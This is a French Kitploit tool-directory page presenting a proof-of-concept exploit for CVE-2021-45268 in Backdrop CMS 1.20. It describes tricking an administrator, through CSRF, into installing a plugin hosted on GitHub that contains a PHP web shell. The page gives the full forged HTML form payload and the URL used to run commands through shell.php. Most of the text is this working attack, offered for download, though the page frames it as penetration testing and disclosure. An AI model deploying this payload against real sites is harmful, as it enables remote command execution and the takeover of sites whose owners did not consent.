Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CSRF-to-RCE-on-Backdrop-CMS — Preuve de concept d'exploit pour CSRF vers RCE dans Backdrop CMS 1.20 (CVE-2021-45268) via le téléchargement d'un plugin malveillant. | Kitploit
Outils/GitHubGitHub/v1n1v131r4/csrf-to-rce-on-backdrop-cms
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHubv1n1v131r4/csrf-to-rce-on-backdrop-cms

CSRF-to-RCE-on-Backdrop-CMS

Preuve de concept d'exploit pour CSRF vers RCE dans Backdrop CMS 1.20 (CVE-2021-45268) via le téléchargement d'un plugin malveillant.

Voir le dépôt
83il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CSRF vers RCE sur Backdrop CMS 1.20

Ce PoC décrit comment exploiter la CSRF sur Backdrop CMS version 1.20 avec une escalade vers RCE.

## CVE ID

CVE-2021-45268

Description

Le Backdrop CMS version 1.20 permet d'ajouter des plugins via des fichiers ZIP téléversés sur le site. Et comme il ne dispose pas de protection anti-CSRF, il est possible pour un attaquant de créer un plugin contenant un fichier permettant l'exécution de commandes, de l'héberger et, à l'aide d'une page forgée, d'amener l'administrateur du site à téléverser ce plugin simplement en cliquant sur un lien malveillant.

Scénario d'attaque

Nous utilisons un plugin par défaut, disponible sur la page du projet sur GitHub, nous y insérons un fichier appelé shell.php, qui contient un extrait PHP permettant l'exécution de commandes à distance, et nous fournissons ce plugin forgé dans un autre dépôt GitHub (https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/tag/backdrop).

Nous créons une page HTML avec un payload qui force le site à installer le plugin lorsqu'elle est appelée via le navigateur. De cette façon, lorsque l'administrateur du site y accède, le fichier shell.php sera disponible pour être utilisé par l'attaquant.

Payload

root@kitploit:~
<html> <body> <form method="POST" action="http://example.com/backdrop/?q=system/ajax"> <input type="text" name="q" value="system/ajax"> <input type="text" name="Backdrop.tableDrag.showWeight" value="0"> <input type="text" name="SESSaca5a63f4c2fc739381fab7741d68783" value="4IVp_-QA9bzSPmMyXalKTNS3BNFTQnxJTw8t93Gi6c8"> <input type="text" name="bulk" value=""> <input type="text" name="project_url" value="https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar"> <input type="text" name="files[project_upload]" value=""> <input type="text" name="form_build_id" value="form-p-BrvXTDPqUhhAatHFr4d_dQKt6Dn5d-mIf4hwFyuJA"> <input type="text" name="form_token" value="aYigpmZz3OXNHnjJTO2Tu43IXMKyrMXvB2yL-4NFbTw"> <input type="text" name="form_id" value="installer_manager_install_form"> <input type="text" name="_triggering_element_name" value="op"> <input type="text" name="_triggering_element_value" value="Install"> <input type="text" name="ajax_html_ids[]" value="skip-link"> <input type="text" name="ajax_html_ids[]" value="main-content"> <input type="text" name="ajax_html_ids[]" value="installer-browser-filters-form"> <input type="text" name="ajax_html_ids[]" value="edit-search-text"> <input type="text" name="ajax_html_ids[]" value="edit-submit"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-bootstrap_lite"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-corporate_kiss"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lateral"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-colihaut"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-shasetsu"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-borg"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-pelerine"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-cleanish"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-materialize"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lumi"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-tatsu"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-mero"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-snazzy"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-afterlight_tribute"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-minicss"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-zurb_foundation_6"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-thesis"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-summer_fun"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-news_arrow"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-basis_contrib"> <input type="text" name="ajax_html_ids[]" value="installer-browser-manual-install-link"> <input type="text" name="ajax_html_ids[]" value="edit-link"> <input type="text" name="ajax_html_ids[]" value="admin-bar"> <input type="text" name="ajax_html_ids[]" value="admin-bar-wrapper"> <input type="text" name="ajax_html_ids[]" value="admin-bar-icon"> <input type="text" name="ajax_html_ids[]" value="admin-bar-menu"> <input type="text" name="ajax_html_ids[]" value="admin-bar-extra"> <input type="text" name="ajax_html_ids[]" value="admin-bar-search-items"> <input type="text" name="ajax_html_ids[]" value="ui-id-1"> <input type="text" name="ajax_html_ids[]" value="backdrop-modal"> <input type="text" name="ajax_html_ids[]" value="installer-manager-install-form"> <input type="text" name="ajax_html_ids[]" value="edit-bulk-wrapper"> <input type="text" name="ajax_html_ids[]" value="edit-bulk"> <input type="text" name="ajax_html_ids[]" value="edit-project-url-wrapper"> <input type="text" name="ajax_html_ids[]" value="edit-project-url"> <input type="text" name="ajax_html_ids[]" value="edit-project-upload-wrapper"> <input type="text" name="ajax_html_ids[]" value="edit-project-upload"> <input type="text" name="ajax_html_ids[]" value="edit-actions"> <input type="text" name="ajax_html_ids[]" value="edit-submit--2"> <input type="text" name="ajax_page_state[theme]" value="seven"> <input type="text" name="ajax_page_state[theme_token]" value="RY9h420qjWmejTKFp7C0ytS__FtpWnVmEjVCnHWFblo"> <input type="text" name="ajax_page_state[css][core/misc/normalize.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/system.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/system.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/messages.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/system.admin.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/layout/css/grid-flexbox.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/contextual/css/contextual.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/comment/css/comment.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/date/css/date.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/field/css/field.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/search/search.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/user/css/user.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/views/css/views.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar-print.css]" value="1"> <input type="text" name="ajax_page_state[css][core/layouts/boxton/boxton.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/installer/css/installer.css]" value="1"> <input type="text" name="ajax_page_state[css][core/themes/seven/css/seven.base.css]" value="1"> <input type="text" name="ajax_page_state[css][core/themes/seven/css/style.css]" value="1"> <input type="text" name="ajax_page_state[css][core/themes/seven/css/responsive-tabs.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/opensans/opensans.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.core.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.button.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.draggable.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.resizable.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.dialog.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/dialog.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.theme.css]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/html5.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery-extend-3.4.0.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery-html-prefilter-3.5.0.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.once.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/backdrop.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/layout/js/grid-fallback.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ajax.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.form.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/contextual/js/contextual.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/form.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/admin_bar/js/admin_bar.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/installer/js/installer.project_list.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/progress.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/tableheader.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/dismiss.js]" value="1"> <input type="text" name="ajax_page_state[js][core/themes/seven/js/script.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.data.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.disable-selection.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.labels.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.scroll-parent.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.tabbable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.unique-id.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.version.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.escape-selector.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.focusable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form-reset-mixin.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.ie.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.keycode.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.plugin.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-active-element.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-blur.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.widget.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/textarea.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.button.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.mouse.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.ui.touch-punch.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.draggable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.position.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.resizable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.dialog.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/dialog.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/dialog.ajax.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/collapse.js]" value="1"> <input type="submit" value="Send"> </form> </body> </html>

Exécutez dans votre navigateur : http://example.com/backdrop/modules/reference/shell.php?cmd=[command] pour exécuter des commandes à distance.

Télécharger l’outil